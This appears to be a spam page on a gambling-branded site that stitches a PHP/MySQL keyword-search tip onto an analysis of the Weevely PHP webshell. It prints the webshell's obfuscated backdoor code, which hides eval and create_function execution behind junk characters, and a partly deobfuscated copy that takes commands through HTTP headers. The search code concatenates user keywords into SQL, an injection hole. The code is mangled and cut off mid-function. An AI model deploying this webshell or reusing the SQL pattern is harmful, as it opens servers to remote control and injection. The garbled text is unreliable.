澳门游艺场9159-9159金沙游戏场

文件的混淆与执行代码的传递更复杂于菜刀,代

作者: 澳门游艺场  发布:2020-01-25

小项目有时需要用到关键词搜索相关性排序,用sphinx显得杀鸡用牛刀,就用mysql的order by对付下。方法一:复制代码 代码如下:select * from articles where (title LIKE '%keywords%') or (content LIKE '%helloworld%') order by ((CASE WHEN title LIKE '%keywords%' THEN 2 ELSE 0 END) + (CASE WHEN content LIKE '%helloworld%' THEN 1 ELSE 0 END)) ASC, dateline DESC方法二:打个比方,如果搜索关键字“IBM”,“服务器”,首先,对搜索关键字的处理,代码如下:复制代码 代码如下:$kw = preg_replace("/(s+)|( +)+/","", $kw);//替代空格,换行,tab,中文空格$kw = preg_replace( "/(^s*)|(s*$)/ ", "",$kw);//去除首尾空格$kw = preg_replace("/(s+)/", "", $kw);//替换多个空格为一个空格$q = explode('',$kw);//枚举关键字这里还需要添加一个去掉标点符号的代码,但是这段代码会出现问题,不知道如何解决。

前言

然后是生成SQL语句的代码复制代码 代码如下:$f = array(”name”,”description”); //查询的字段name=产品名,description=产品描述$s = array(4,2); //权重,name字段匹配积分4分,description字段匹配积2分,最后按积分排序复制代码 代码如下://创建查询条件语句for($i=0;$icount($q);$i++){for($j=0;$jcount($f);$j++){$clause[$c] = ” (”.$f[$j].” LIKE ‘%”.$q[$i].”%') “;$score[$c] = ” IF(LOCATE('”.$q[$i].”‘, “.$f[$j].”), “.$s[$j].”, 0) “;$c++;}}$sql = “SELECT id, name, description,(”.implode(”+”,$score).”) AS scoreFROM productWHERE (”.implode(” OR “,$clause).”)ORDER BY score DESC”;

Weevely命令传输分析。Weevely是一款使用python编写的webshell工具,集webshell生成和连接于一身,可以算作是linux下的一款菜刀替代工具(限于php)。Weevely类似于菜刀,一个厚客户端,与一个轻服务端,由客户端生成要执行的代码,传递到服务端执行。与菜刀不同的是Weevely只提供命令行终端,同时自己生成服务端文件。文件的混淆与执行代码的传递更复杂于菜刀。下面将对这两方面进行分析。

混淆与解码

$A='@.low@.@.er"@.@.@.;$i=$m[1][0@.].$m[1][1]@.;$h=$sl($s@.s(md5(@.@.$i.$kh),0,3));$f=@.$sl@.($ss(md@.5($i.$kf),0@.,';

$j='@.3));$p@.="";for($@.z=1;$z@.;

$U='([\d]))?@.,?/@.",@.$ra@.,$m);if($@.q&&$m){@.@s@.ession_start(@.);$s=&$@._SESSI@.ON;$ss=@."substr@.";$s@.l="strto';

$Z='$@.kh@.="2123";$kf="2@.f29"@.;function@. x($t,$k)@.{$c=@.@.strlen($@.@.k);$l=st@.rlen(@.$t);$o="";for($@.i=0;$i@.';

$p='@.r@.r=@$r["HTT@.P_REFERE@.R"];$ra=@$r@.["HTTP_@.@.ACCEPT_LANGUA@.GE"];@.if@.($rr&&$ra@.@.){$u=parse@._url(@.@.';

$o='@.]@.="";$@.p=$s@.s($@.p,3);}i@.f@.(array@._key_e@.@.xists($i@.,$s)){$s[$i].=$p;$e=strpo@.s($s[$i@.]@.,$f);if($@';

$g='_/"@.,"@./-/"),array@.("/@.","+@."),$ss@.($s@.[$i],0,$e))),$k)))@.;@.$o=ob_@.g@.et_contents@.();ob@._end@._clean';

$V='();@.@.$d=base6@.4@._encode(x(gzcompr@.@.es@.s($o),$k));print("@.$d"@.);@@.session_d@.est@.roy();}}}}';

$n='@.$rr);par@.s@.e_str($u["query"],@.$q);$q=array_va@.lues($@.q);@.preg@._match_all@.("/([\w@.@.])[\w-@.]+(?:;q=0@..';

$q=';

$X=str_replace('UL','','cULreaULte_ULfULunULctULion');

$u='.e)@.{$k=$kh.@.$kf;ob@._s@.tart();@ev@.al(@gzu@.ncompres@.s(@x(@@.base@.64_dec@.ode@.(pre@.g@._replace(arra@.y("/';

$R=str_replace('@.','',$Z.$q.$p.$n.$U.$A.$j.$o.$u.$g.$V);

$c=$X('',$R);$c();

?>

Weevely将服务端代码分散放入单字符的变量中,同时夹杂着大量无用字符(@. ,随机字符)以绕过一些关键词的匹配。将分散的代码按顺序拼接,再使用str_replace去掉无用字符,最后由create_function创建匿名函数,执行。

$kh="2123"; //MD5(admin) > 21232f297a57a5a743894a0e4a801fc3

$kf="2f29";

function x($t,$k)

{

$c=strlen($k);

$l=strlen($t);

$o="";

for($i=0;$ifor($j=0;($jreturn $o;

}

$r=$_SERVER;

$rr=@$r["HTTP_REFERER"];

$ra=@$r["HTTP_ACCEPT_LANGUAGE"];

if($rr&&$ra)

{

$u=parse_url($rr);

parse_str($u["query"],$q);

$q=array_values($q);

preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);

if($q&&$m)

{

@session_start();

$s=&$_SESSION;

$ss="substr";

$sl="strtolower";

$i=$m[1][0].$m[1][1];

$h=$sl($ss(md5($i.$kh),0,3));

$f=$sl($ss(md5($i.$kf),0,3));

$p="";

本文由澳门游艺场9159发布于澳门游艺场,转载请注明出处:文件的混淆与执行代码的传递更复杂于菜刀,代

关键词: